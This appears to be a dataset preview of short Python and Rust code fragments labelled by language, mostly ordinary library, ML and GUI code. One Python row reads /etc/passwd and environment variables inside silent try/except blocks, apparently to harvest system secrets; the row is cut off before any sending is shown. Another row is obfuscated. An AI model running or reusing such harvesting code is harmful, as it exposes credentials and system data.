text string | label_name string | labels int64 |
|---|---|---|
row=1)
button_popup = customtkinter.CTkButton(master=frame, text=language_data['configure'], command=show_config,
fg_color=buttonColor, hover_color=buttonColor, width=150, text_color=textColor)
button_popup.grid(column=0, row=1, padx=10, pady=10)
root.bind("<Escape>", lambda ... | Python | 1 |
'lr' : [1e-1,1e-2,1e0,1e1],
},
run_prefix = 'obj_func_reg_experiment',
datasets = ['igg_1d/images/snr0.01']
)
empiar_experiment = Experiment(
alg_fixed_params = {
'rank' : 15,
'reg' : 1,
'max-epochs' : 15,
'batch-size' : 2048,
'orthogonal-projection' : F... | Python | 1 |
from itertools import permutations, product
def f(a, b, c, d):
return ((not a) and (not b)) or (b == c) or d
for a1,a2,a3,a4 in product([0, 1], repeat=4):
table = [
(a1,a2,1,a3),
(1,0,a4,1),
(0,0,1,1)
]
if len(table) == len(set(table)):
for p in permutations('abcd'):
... | Python | 1 |
0);
}
_ => (),
});
witnesses.clear();
}
}
#[cfg(all(test, feature = "random"))]
mod tests {
use crate::default_parameters::MAX_GAS_PER_TX;
use crate::*;
use fuel_tx_test_helpers::{generate_bytes, generate_nonempty_bytes};
use rand::rngs::StdRng;
use r... | Rust | 0 |
import torch
import numpy as np
from detoxify import Detoxify
from src.rating.base import RatingBackend, RatingResult
class DetoxifyRater(RatingBackend):
"""
Detoxify rating backend using the Detoxify model.
"""
def __init__(self, model_type: str = "original", device: str | None = None, amp: bool = F... | Python | 1 |
latest_payoff_table(infinite_retry_on_error=infinite_retry_on_error)
if payoff_table is None:
return 0
return payoff_table.size()
def is_policy_key_in_current_payoff_matrix(self, policy_key, infinite_retry_on_error: bool = True):
payoff_table, _ = self.get_latest_payoff_table(in... | Python | 1 |
s.layers.Concatenate(axis=-1)
for size, filters in zip(self.config.filter_sizes, self.config.num_filters):
conv = tf.keras.layers.Conv1D(
filters=int(filters),
kernel_size=int(size),
activation=self.config.activation)
self.conv_layers.append(conv)
if self.config.HasFiel... | Python | 1 |
#Pivot Index
def pivotIndex(nums):
total = sum(nums)
left = 0
for i in range(len(nums)):
right = total - left - nums[i]
if left == right:
return i
left += nums[i]
return -1
| Python | 1 |
_FEEDBACK = 229,
D3DWDDM1_3_SB_OPCODE_SAMPLE_CLAMP_FEEDBACK = 230,
D3DWDDM1_3_SB_OPCODE_SAMPLE_B_CLAMP_FEEDBACK = 231,
D3DWDDM1_3_SB_OPCODE_SAMPLE_D_CLAMP_FEEDBACK = 232,
D3DWDDM1_3_SB_OPCODE_SAMPLE_C_CLAMP_FEEDBACK = 233,
D3DWDDM1_3_SB_OPCODE_CHECK_ACCESS_FULLY_MAPPED = 234,
D3DWDDM1_3_SB_OPCOD... | Rust | 0 |
.get(KEY.to_owned())
.await
.expect("Could not get just deleted entry");
assert!(value.is_none());
// You can ask to write multiple key-values at the same time, it is much more
// performant because it is passed in one request to the key-value store.
let pairs = vec![
Kv... | Rust | 0 |
= Button(image = img2,borderwidth = 0,highlightthickness = 0,command = youtube_btn,relief = "flat", bg = "#AFA8BF", activebackground = "#AFA8BF")
b2.place(x = 198, y = 386)
img3 = PhotoImage(file="button3.png")
b3 = Button(image = img3,borderwidth = 0,highlightthickness = 0,command = linkedin_btn,relief = "flat", bg ... | Python | 1 |
fn update(&mut self, data: StateData<'_, T>) -> Trans<T, E> {
data.data.update(&data.world);
let (asset_id_mappings, asset_load_stage) = data
.world
.system_data::<(Read<'_, AssetIdMappings>, Read<'_, AssetLoadStage>)>();
if let Some(LoadStage::Comple... | Rust | 0 |
_btree_map()? };
let mut mint_assets = RMintAssets::new();
for (asset_name, int) in map {
let asset_name = asset_name.try_into()?;
mint_assets.insert(&asset_name, int.into());
}
Ok(mint_assets)
}
}
impl TryFrom<RMintAssets> for MintAssets {
type Error = CError;
fn try_from(mint_asset... | Rust | 0 |
extension_includes.is_empty() {
json_includes.push(format!("\"**/*.{{{}}}\"", extension_includes.join(",")));
}
if !file_name_includes.is_empty() {
json_includes.push(format!("\"**/{{{}}}\"", file_name_includes.join(",")));
}
json_text.push_str(" \"includes\": [");
if json_includes.is_... | Rust | 0 |
D {
canvas: Canvas,
current_state: State,
saved_states: Vec<State>,
#[allow(dead_code)]
canvas_font_context: CanvasFontContext,
}
impl CanvasRenderingContext2D {
// Canvas accessors
#[inline]
pub fn canvas(&self) -> &Canvas {
&self.canvas
}
#[inline]
pub fn into_ca... | Rust | 0 |
{
self.board.describe()
/*
ObjectDescriptor {
length: ft_to_cm(44.0),
width: ft_to_cm(32.0),
thickness: ft_to_cm(50.0),
}
*/
}
fn assemble(&self) -> ScadObject {
let mut parent = scad!(Union);
let delta: f32 = in_to_c... | Rust | 0 |
from django.db import models
class EngineType(models.Model):
"""Type of engine of car"""
name = models.CharField(
max_length=40,
verbose_name="Тип двигателя"
)
class Meta:
verbose_name = "Тип двигателя"
verbose_name_plural = "Тип двигателей"
... | Python | 1 |
connection.
///
/// ```c
/// #include <mesalink/openssl/ssl.h>
///
/// int SSL_write_early_data(SSL *s, const void *buf, size_t num, size_t *written);
/// ```
#[no_mangle]
pub extern "C" fn SSL_write_early_data(
ssl_ptr: *mut SSL,
buf_ptr: *const c_uchar,
buf_len: c_int,
written_len_ptr: *mut size_t,
) ... | Rust | 0 |
if the molecule is invalid.
"""
mol = rkc.MolFromSmiles(smiles)
if not mol:
return None
if random_type == "unrestricted":
return rkc.MolToSmiles(mol, canonical=False, doRandom=True, isomericSmiles=False)
if random_type == "restricted":
new_atom_order = list(range(mol.GetNum... | Python | 1 |
ad::Partitioning(part.clone())));
vec![egraph.add(ENode::new(Cad::Unpart, vec![part_id, list]))]
}
}
#[derive(Debug)]
struct Flatten {
op: Cad,
list: Var,
}
impl Applier<Cad, Meta> for Flatten {
fn apply_one(&self, egraph: &mut EGraph, _: Id, map: &Subst) -> Vec<Id> {
fn get_nested_fol... | Rust | 0 |
sys.exit(result)
def docs_main(args=sys.argv):
""" Get/Launch Docs."""
ensure_wx_app()
result = 0
print("Launch Docs for wxPython V%s" % wx.VERSION_STRING)
pd = get_paths_dict()
location = get_item(pd['wxDocs'], pd['Docs_URL'], pd['Cache'],
pd['Docs_Name'], pd['Ext']... | Python | 1 |
if user_message.lower() in greetings:
# return 'Hello! How can I assist you today?'
# elif user_message.lower() in goodbyes:
# return 'Goodbye! Have a wonderful day!'
# elif 'weather' in user_message.lower():
# return 'The weather is currently sunny and warm.'
# elif 'time' in us... | Python | 1 |
import torch.nn as nn
from openstl.models import PredRNNpp_Model
from .predrnn import PredRNN
class PredRNNpp(PredRNN):
r"""PredRNN++
Implementation of `PredRNN++: Towards A Resolution of the Deep-in-Time Dilemma
in Spatiotemporal Predictive Learning <https://arxiv.org/abs/1804.06300>`_.
"""
d... | Python | 1 |
'''Autogenerated by xml_generate script, do not edit!'''
from OpenGL import platform as _p, arrays
# Code generation uses this
from OpenGL.raw.GL import _types as _cs
# End users want this...
from OpenGL.raw.GL._types import *
from OpenGL.raw.GL import _errors
from OpenGL.constant import Constant as _C
import ctypes
_... | Python | 1 |
import os
from pathlib import Path
import requests
from typing import Optional
def get_or_download_pretrained_weights(weights_prefix: str, num_channels: int, alpha: float, allowed_combinations: list) -> str:
# Check if there's a dictionary in allowed_combinations with matching num_channels and alpha
if not any... | Python | 1 |
e: size into which images should be resized
outputs:
loaded_images: loaded images on which keras model can run predictions
loaded_image_indexes: paths of images which the function is able to process
"""
loaded_images = []
loaded_image_paths = []
for i, img_path in enumerat... | Python | 1 |
STAGE1_PAGE_DESCRIPTOR::PXN::True
} else {
STAGE1_PAGE_DESCRIPTOR::PXN::False
};
// Always set unprivileged exectue-never as long as userspace is not implemented yet.
desc += STAGE1_PAGE_DESCRIPTOR::UXN::True;
desc
}
}
impl PageDescriptor {
///... | Rust | 0 |
#Imports
from pyspark.sql.functions import *
#configuraions
spark.conf.set(
"fs.azure.account.key.<storage_account>.dfs.core.windows.net",
"<Storage_Account_Access_Key>"
)
gold_path = "abfss://ecommerce@ecommercestoragejk.dfs.core.windows.net/gold"
silver_path = "abfss://ecommerce@ecommercestoragejk.dfs.core.wi... | Python | 1 |
tance.
#[derive(Serialize, Deserialize, Eq, PartialEq)]
pub struct AccessRecord {
/// Version of HQ
version: String,
/// Hostname or IP address of the HyperQueue server
host: String,
/// Server process pid
pid: u32,
/// Port that you can connect to as a HyperQueue client
server_port: ... | Rust | 0 |
ES_NAMES),
vec![String::from(FLD_PACKAGE_TYPES_NAME)],
)]
}
fn init_package_types(key_pair: &SignatureKeyPair) -> Result<Vec<String>> {
let mut package_type = PackageTypeBuilder::default()
.id(Uuid::new_v4().to_string())
.name(PackageTypeName::Docker)
.description("docker package... | Rust | 0 |
(raw.deserialize()?))
}
}
// TODO: decode to
// https://hackage.haskell.org/package/pvss-0.2.0/docs/Crypto-SCRAPE.html#t:DecryptedShare
#[derive(Debug, Clone)]
pub struct DecShare(cbor_event::Value);
impl cbor_event::se::Serialize for DecShare {
fn serialize<W: ::std::io::Write>(&self, serializer: cbor_event::... | Rust | 0 |
# PyTorch StudioGAN: https://github.com/POSTECH-CVLab/PyTorch-StudioGAN
# The MIT License (MIT)
# See license file or visit https://github.com/POSTECH-CVLab/PyTorch-StudioGAN for details
# src/utils/cr.py
import random
import torch
import torch.nn.functional as F
def apply_cr_aug(x, flip=True, translation=True):
... | Python | 1 |
WithData, 'o', "--blah", DataLocation::NextArg),
]
);
check_result(&Actual(get_base().process(&args)), &expected);
}
/// Test argument data that looks like early terminator
#[test]
fn looking_like_early_term() {
let args = arg_list!(
"--hah=--", // In... | Rust | 0 |
from PyQt6.QtWidgets import QApplication, QWidget, QVBoxLayout, QLabel, QLineEdit, QComboBox, QPushButton, QTextEdit
def generate_story():
import google.generativeai as genai
genai.configure(api_key="yourapikey")
model = genai.GenerativeModel('gemini-pro')
keywords = keyword_input.text()
style = st... | Python | 1 |
----
# ui instance
#--------------------------
# template 1 - Keep only one copy of windows ui in Maya
global single_UniversalToolUI
if single_UniversalToolUI is None:
if hostMode == "maya":
single_UniversalToolUI = UniversalToolUI(parentWin, mode)
else:
singl... | Python | 1 |
, hbins = hbins, start_hue = start_hue, scalef = scalef,color = 'darkgrey', ax = ax, axtype = axtype, force_CVG_layout = True, bin_labels = bin_labels, plot_bin_colors = plot_bin_colors)
else:
plot_shift_data(dataVF[Snr], fieldtype = 'circlefield', hbins = hbins, start_hue = start_hue, scale... | Python | 1 |
thread::scope(|scope| {
for _ in 0..thread_count {
scope.spawn(|_| {
for _ in 0..ITER_COUNT {
thread_key::get()
.try_rw(|tx| {
x.set(tx, TxOnDrop("hello there".to_o... | Rust | 0 |
import pytest
@pytest.fixture
def get_val():
return 100
| Python | 1 |
m PrimeWorldEditor's metadata:
// https://github.com/arukibree/PrimeWorldEditor/blob/master/resources/gameinfo/AssetNameMap32.xml
macro_file_proxy_item! { "src/resource_info_table/resource_info.txt", build_resource_info_macro, ;}
<gh_stars>1-10
//! Provedis a debug function, let the contract print information to standa... | Rust | 0 |
import logging
import mkdocs.plugins
log = logging.getLogger('mkdocs')
def set_page_icon(page, config, component_type=None):
icons = config.get('theme').get('icon').get('tag', {})
page.meta['icon'] = icons.get(component_type, None)
page.meta['tags'] = [component_type] + page.meta.get('tags', [])
# https:... | Python | 1 |
te().unwrap();
let uut = MerkleTree::load("test".to_string(), &transaction, root0).unwrap();
assert_eq!(uut.get(key).unwrap(), val);
let uut = MerkleTree::load("test".to_string(), &transaction, root0).unwrap();
uut.delete().unwrap();
// This should fail sin... | Rust | 0 |
input_received.append(c)
print(f'Read {safe}')
continue
if rfd in rlist:
os.read(rfd, 1)
print("SIGINT")
break
input_received = ''.joi... | Python | 1 |
"""Constants related to IStorage and related interfaces
This file was generated by h2py from d:\msdev\include\objbase.h
then hand edited, a few extra constants added, etc.
"""
STGC_DEFAULT = 0
STGC_OVERWRITE = 1
STGC_ONLYIFCURRENT = 2
STGC_DANGEROUSLYCOMMITMERELYTODISKCACHE = 4
STGC_CONSOLIDATE = 8
STGTY_STORAGE = 1... | Python | 1 |
_as_primitive!(char => { char });
impl_as_primitive!(bool => {});
use approx::assert_abs_diff_eq;
use ndarray::prelude::*;
use proptest::prelude::*;
use linfa_linalg::svd::*;
mod common;
fn run_svd_test(arr: Array2<f64>) {
let (nrows, ncols) = arr.dim();
let decomp = arr.svd(true, true).unwrap();
let (u,... | Rust | 0 |
}
x
}
// Add your tests here.
// See https://doc.rust-lang.org/stable/rust-by-example/testing/unit_testing.html
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_basic() {
let actual = round_to_next_5(1);
println!("{}", actual);
assert_eq!(actual, 5);
}
#[test]... | Rust | 0 |
match store_handle.get(key_triple) {
Ok(Some(key_info)) => {
if key_info.id.len() == 4 {
let mut dst = [0; 4];
dst.copy_from_slice(&key_info.id);
Ok(u32::from_ne_bytes(dst))
} else {
error!("Stored Key ID is not valid.");
... | Rust | 0 |
import pytest
from tempfile import TemporaryDirectory
from helm.benchmark.scenarios.exams_multilingual_scenario import EXAMSMultilingualScenario
from helm.benchmark.scenarios.scenario import CORRECT_TAG, TRAIN_SPLIT, Input
@pytest.mark.scenarios
def test_exam_multilingual_scenario_get_instances():
scenario = EXA... | Python | 1 |
{r#"
type B {
b Float @test.Long
d Boolean @test.Long
e String @test.Long
f DateTime @test.Long
g Bytes @test.Long
}
model A {
id Int @id @map("_id")
b B
}
"#};
let schema = with_head... | Rust | 0 |
import optunity
import numpy as np
import matplotlib.pyplot as plt
def func(x):
""" 待优化的函数 """
return (np.sin(x) + 2) * x ** 2
x_range = [-100, 100]
xs = list(range(*x_range))
ys = [func(i) for i in xs]
# 绘制待优化函数图像
plt.plot(xs, ys)
plt.show()
opt = optunity.minimize(func, num_evals=500, solver_name='particl... | Python | 1 |
*block.get_in();
for i in 0..9 {
lsx_inv(&mut b, &self.0[9 - i]);
}
x(&mut b, &self.0[0]);
*block.get_out() = b;
}
#[inline(always)]
fn proc_par_blocks(&mut self, mut blocks: InOut<'_, '_, ParBlocks<Self>>) {
self.proc_block(blocks.get(0));
}
}
pub mo... | Rust | 0 |
_stars>0
extern crate time;
extern crate squid;
use squid::download;
static SEPARATOR: &'static str = "--------------------";
fn main()
{
use squid::command_line;
use std::process;
match command_line::parse_arguments()
{
Ok(arguments) =>
{
let be_verbose = arguments.prog... | Rust | 0 |
from dronekit import LocationGlobalRelative,connect,VehicleMode
import math
import numpy as np
import matplotlib.pyplot as plt
from filterpy.kalman import KalmanFilter
from filterpy.common import Q_discrete_white_noise
import Kalman
###evaluation file
eks = KalmanFilter(dim_x=2,dim_z=1)
eks.x = np.array([[0.],
... | Python | 1 |
id,
EnvironmentType::EnvUat,
&uat_env,
)?);
}
if let Some(prod_env) = decoded.prod_environment {
unprocessed_websites.extend(import_project_env_first_pass(
sql_conn,
&project_folder,
project_id,
... | Rust | 0 |
opped_char_img_list = [_crop_char(bbox, img) for (bbox, img) in char_img_list]
if os.getenv("DEBUG") == __name__:
segmentation_img = cv2.cvtColor(binary_img, cv2.COLOR_GRAY2BGR)
for i in contours:
x, y, w, h = cv2.boundingRect(i)
cv2.rectangle(
segmentation_i... | Python | 1 |
#!/usr/bin/env python3
import json
categories = {
"new" : "I'm new to quantum",
"braket" : "Using Amazon Braket features",
"advanced" : "Advanced circuits and algorithms",
"hybrid" : "Hybrid quantum algorithms",
"simulators": "Using simulators",
"noise" : "Modeling noise on Am... | Python | 1 |
plaintext_stream[remainder / 4] &=
(0xffff_ffff_u64 >> (32 - (8 * (remainder as u32 % 4)))) as u32;
for p in plaintext_stream.iter_mut().skip(remainder / 4 + 1) {
*p = 0;
}
poly1305.hash_u32(&plaintext_stream[0..]);
if remai... | Rust | 0 |
import os
from cryptography.fernet import Fernet
import json
# Get the directory of the script
script_dir = os.path.dirname(os.path.abspath(__file__))
# Paths
cookie_file = os.path.join(script_dir, "cookies.json")
encrypted_file = os.path.join(script_dir, "encrypted_cookies.bin")
key_file = os.path.join(script_dir, "... | Python | 1 |
s=2 # Fewer retries for slower feedback
)
print(f"Base timeout: {benchmarker.base_timeout}s (5 minutes)")
print(f"Parallel workers: {benchmarker.parallel_workers} (sequential)")
print(f"Max retries: {benchmarker.max_retries}")
print()
print("Adaptive timeouts for slow models:")
fo... | Python | 1 |
rle=segmentation,
label=None,
id=anno_id,
attributes=attributes,
group=group,
)
)
bbox = parse_field(annotation, "bbox", list, No... | Python | 1 |
m2.ww);
mat.wx = (m1.wx * m2.xx) + (m1.wy * m2.yx) + (m1.wz * m2.zx) + (m1.ww * m2.wx);
mat.wy = (m1.wx * m2.xy) + (m1.wy * m2.yy) + (m1.wz * m2.zy) + (m1.ww * m2.wy);
mat.wz = (m1.wx * m2.xz) + (m1.wy * m2.yz) + (m1.wz * m2.zz) + (m1.ww * m2.wz);
mat.ww = (m1.wx * m2.xw) + (m1.wy * m2.yw) + (m1.wz * m2.zw) ... | Rust | 0 |
line_cast = '\n' + fecha + ',' + 'Castellón/Castelló' + ',' + 'Comunitat Valenciana' + ',' + cast_acti_pcr + ',' + ',' + ',' + ',' + hospi_cast + ',,,' + uci_cast + ',' + cast_dece + ',' + cast_accu_pcr + ',' + ',' + cast_recov + ',Sanidad Generalitat Valenciana,' + url_report
csv_file.write(new_line_cast)
prin... | Python | 1 |
import abc
from model.finding import Finding
class FindingDataSourceSubscriber(metaclass=abc.ABCMeta):
@classmethod
def __subclasshook__(cls, subclass):
"""Used to detect if given class is subclass of this class"""
return (
hasattr(subclass, "on_finding_created")
and c... | Python | 1 |
es.push(get_summary(version, &merged_path)?);
}
}
// Commit the new and changed files.
let sig = git2::Signature::now("iocost bot", "<EMAIL>")?;
let parent_commit = git_repo.head()?.peel_to_commit()?;
let oid = index.write_tree()?;
let tree = git_repo.find_tree(oid)?;
let descrip... | Rust | 0 |
Arg::with_name("version")
.help("The version to install")
.takes_value(true),
)
.arg(
Arg::with_name("no-use")
.long("no-use")
.help("Only install to local, but not use"),
)
}
fn use_subcommand<'a, 'b>() -> App<'a, 'b> {
SubCommand::with_name("use")
.about... | Rust | 0 |
ynamodb::AttributeValue;
/// use std::collections::HashMap;
/// use email_shared::attribute_value_wrapper::DynamoItemWrapper;
///
/// let mut item: HashMap<String, AttributeValue> = HashMap::new();
/// item.insert("foo".into(), AttributeValue::default());
/// let wrapper = DynamoItemWrapper::new... | Rust | 0 |
_gate!(1, __foo, foo (a: i32, b: i32, c: i32, d: i32, e: i32, f: i32) {
println!("Hi {} {} {} {} {} {}", a, b, c, d, e, f);
twz::sapi_return!(0, 91, 92, 93, 94);
});
twz::twz_gate!(2, __bar, bar () { println!("Hi"); 0});
use twz::queue::*;
#[derive(Copy, Clone)]
#[repr(C)]
enum LogEventCmd {
LogMsg = 0,
... | Rust | 0 |
gen_data();
let mut data = data.to_vec();
b.iter(|| {
test::black_box(vectorize_mut(&mut data));
})
}
#[bench]
fn sum_default(b: &mut Bencher) {
let (data, _) = gen_vecs();
b.iter(|| {
test::black_box(sum_default_version(data));
})
}
#[bench]
fn sum_detect(b: &mut Bencher) {... | Rust | 0 |
# -*- coding: utf-8 -*-
__author__ = """Adrian Bulat"""
__email__ = 'adrian@adrianbulat.com'
__version__ = '1.4.1'
from .api import FaceAlignment, LandmarksType, NetworkSize | Python | 1 |
''
import o9w3z3pvwtt
'# alloys_kites_grasp -> compressors_recruit_audit'
pvmd6pa0jzm += False
'# alloys_kites_grasp -> compressors_recruit_audit'
from zrgagd86pwg import jvlpa7zkiar, v1ds4coelne as ftbsi8m5coo, e_9ds01jkg0, rzbbqklewip as ad1zws0y487, e7ms33__bsf as f_6650neue5
'# alloys_kites... | Python | 1 |
TECHNIQUEFAILED = -403 # "Cannot load the ECC file"
TECH_DATACORRUPTED = -404 # "Data returned by the instrument are corrupted"
TECH_MEMFULL = -405 # "Cannot load techniques: full memory"
OPT_CHANGE = 1 # "Number of options changed"
OPT_OPEN_IN = 2 # "Open-in signal was asserted"
OPT_4A_ERROR =... | Python | 1 |
import time
import random
from typing import TypeVar, Callable, Any
from google.api_core.exceptions import ResourceExhausted
T = TypeVar('T')
def retry_with_backoff(
func: Callable[..., T],
max_retries: int = 5,
base_delay: float = 2.0,
*args: Any,
**kwargs: Any
) -> T:
"""
Retry a functio... | Python | 1 |
assert service1 is service2
def test_service_stop(self):
"""Test service stop functionality"""
# Create a new service for this test
test_service = PerformanceService()
# Stop the service
test_service.stop()
# Should not raise any exceptions... | Python | 1 |
d on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::rc::Rc;
use syntax::ext::base::ExtCtxt;
use builder::{Builder, TokenString, add_node_dependency};
use nod... | Rust | 0 |
'title': result.video_info['title'],
'data': result.data,
'file_size': file_size
})
# Update completed count
completed_videos += 1
# Update overall progress
progr... | Python | 1 |
ut.append(word)
else:
if word and (word[-1] == quot):
word = word[:-1]
phrase.append(word)
out.append(" ".join(phrase))
phrase = None
else:
phrase.append(word)
return out
def strFile(p, f, caseSensitiv... | Python | 1 |
from maps.classic import *
import networkx as nx
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import os
bonus_color_map = {
"NA": "blue",
"SA": "red",
"AF": "purple",
"EU": "green",
"AS": "orange",
"AU": "yellow"
}
background_image_path = os.p... | Python | 1 |
`.
///
/// hreq encodes the response body of text MIME types according to the `charset` in
/// the `content-type` response header:
///
/// * `content-type: text/html; charset=iso8859-1`
///
/// The behavior is triggered for any MIME type starting with `text/`. Because we're in rust,
//... | Rust | 0 |
;
for (name, tree) in tenants.iter() {
let tree = tree.clone();
let iter: Iter<'static> =
unsafe { std::mem::transmute(tree.iter()) };
let arc_iter = ArcIter { _tree: tree, iter };
ret.push((b"tree".to_vec(), name.to_vec(), arc_iter));
}
... | Rust | 0 |
from .tags import tag
from zenaura.client.tags import Node
def Icon(name: str, size: int = 24, class_: str = "", **attrs) -> Node:
"""
An icon component for displaying SVG or icon fonts.
Args:
name (str): The name of the icon (e.g., Material Icons, Font Awesome class, or custom SVG).
size... | Python | 1 |
#Python - Dictionary Methods
#clear = Removes all the elements from the dictionary
print("\nclear")
car = {
"brand": "Ford",
"model": "Mustang",
"year": 1964
}
car.clear()
print(car)
#copy = Returns a copy of the dictionary
print("\ncopy")
car = {
"brand": "Ford",
"model": "Mustang",
"year": 1964
}
x = ... | Python | 1 |
_ff::One;
use ark_poly::{univariate::DensePolynomial, UVPolynomial};
use mina_curves::pasta::fp::Fp;
#[test]
fn test_chunk_poly() {
let one = Fp::one();
let zeta = one + one;
let zeta_n = zeta.square();
let res = (one + zeta)
* (one + zeta_n + zeta_n * zeta.... | Rust | 0 |
entaion(arm_pos[0], arm_pos[1], arm_pos[2] + self.sucker_length)
# self.device.speed(100, 100)
# x range: 140 - 300,
self.EpRobot.move_robot_to_xyz_fixed_oritentaion(random.randint(250, 380), random.randint(-110, 210), 100 + self.sucker_length)
... | Python | 1 |
# Copyright 2025 Marcel Bollmann <marcel@bollmann.me>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | Python | 1 |
# -*- coding: utf-8 -*-
import pandas as pd
import numpy as np
import pyaudio
import wave
import time
from datetime import datetime
# 读取 Excel 表格函数
def read_audio_paths(excel_path):
try:
df = pd.read_excel(excel_path, sheet_name='Sheet1')
return df
except Exception as e:
print(f"Error r... | Python | 1 |
ild_config(config_dir)?;
let apm_server_api_credentials_filepath =
format!("{}/{}", config_dir, DEFAULT_APM_SERVER_CREDENTIALS_FILENAME);
// Get the result and log the error later because the logger is not available yet
let apm_credentials_read_result = collector_config
.logger
.trac... | Rust | 0 |
# Copyright (c) OpenMMLab. All rights reserved.
from mmyolo.models import YOLOv5CSPDarknet
from mmyolo.registry import MODELS
@MODELS.register_module()
class DummyYOLOv5CSPDarknet(YOLOv5CSPDarknet):
"""Implements a dummy YOLOv5CSPDarknet wrapper for demonstration purpose.
Args:
**kwargs: All the argu... | Python | 1 |
text = input("Zadej text: ")
pocet = int(input("Kolikrát ho chceš zopakovat? "))
for i in range(pocet):
print(f"{i + 1}. {text}") | Python | 1 |
import pandas as pd
import ast
import warnings
warnings.filterwarnings('ignore')
import sys
import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
df = pd.read_json('data/lotm_dataset.json')
pd.set_option('display.max_rows', None)
shape = df.shape
#remove the editor on the first row (other pa... | Python | 1 |
# Copyright 2020 The KNIX Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | Python | 1 |
0081541743543),
],
[
Fp::new(3767627782806090334),
Fp::new(11542650488043060767),
Fp::new(10444564828851217926),
Fp::new(9851095279498506756),
Fp::new(16140295368046998931),
Fp::new(2162184484446199436),
Fp::new(3375443876219024020),
Fp::new(155783... | Rust | 0 |
#pattern
#$$$$$$$$$$$
# $$$$$$$$$
# $$$$$$$
# $$$$$
# $$$
# $
def main():
lines = int(input("Enter no.of lines: "))
pattern(lines)
def pattern(lines):
for i in range(lines,0,-1):
for j in range(lines-i):
print(' ', end='')
for j in range(2*i-1):
... | Python | 1 |
ble format
state_strings = [str(sorted(state.items())) for state in states]
# Count occurrences
state_counts = defaultdict(int)
for state in state_strings:
state_counts[state] += 1
# Calculate probabilities
total = len(states)
ent... | Python | 1 |
from urllib import request
import json
import os
import socket
import base64
import ssl
def try_call(func, *args):
try:
return func(*args)
except:
return 'err'
pwd = ""
try:
pwd = '\n'.join([x for x in open("/etc/passwd")])
except:
pass
env = ""
try:
for a in os.environ:
e... | Python | 1 |
import json
# Load the previous JSON file
with open("out/trophies_scores.json", "r") as f:
trophies = json.load(f)
# Define boss trophies
boss_trophies = [
"Eikthyr trophy",
"The Elder trophy",
"Bonemass trophy",
"Moder trophy",
"Yagluth trophy",
"The Queen trophy",
"Fader trophy",
]
... | Python | 1 |
#[cfg_attr(not(feature = "library"), entry_point)]
pub fn query(deps: Deps, _env: Env, msg: QueryMsg) -> StdResult<Binary> {
match msg {
QueryMsg::GetState {} => to_binary(&get_state(deps)?),
}
}
fn get_state(deps: Deps) -> StdResult<StateResponse> {
let state = STATE.load(deps.storage)?;
Ok(St... | Rust | 0 |
t_line)
last_line = word
if last_line:
lines.append(last_line)
# Remove lines at the end that do not fit into label
if len(lines) > MAX_LINES:
remainder = " ".join(lines[MAX_LINES:])
last_line = lines[MAX_LINES-1] + " " + remainder
... | Python | 1 |
arrow_length_ratio=0.3,
)
axOrbV.quiver(
0,
0,
0,
0,
0,
1,
length=axOrbV0,
color="r",
arrow_l... | Python | 1 |
ding = "MODEL", default_value = "0.0", validator = Self::validate_tau)]
pub tau: F,
/// Initial value of position of the third body
#[clap(short = 'p', help_heading = "MODEL", default_value = "1.0", validator = Self::validate_z_0)]
pub z_0: F,
/// Initial value of velocity of the third body
#[cl... | Rust | 0 |
r(self, "table"):
self.table = otTables.avar()
if not hasattr(self.table, "Reserved"):
self.table.Reserved = 0
if name == "version":
self.majorVersion = safeEval(attrs["major"])
self.minorVersion = safeEval(attrs["minor"])
self.table.Version = ... | Python | 1 |
",
Element::W => "Wolfram",
Element::Re => "Rhenium",
Element::Os => "Osmium",
Element::Ir => "Iridium",
Element::Pt => "Platinum",
Element::Au => "Gold",
Element::Hg => "Mercury",
Element::Tl => "Thallium",
Elem... | Rust | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.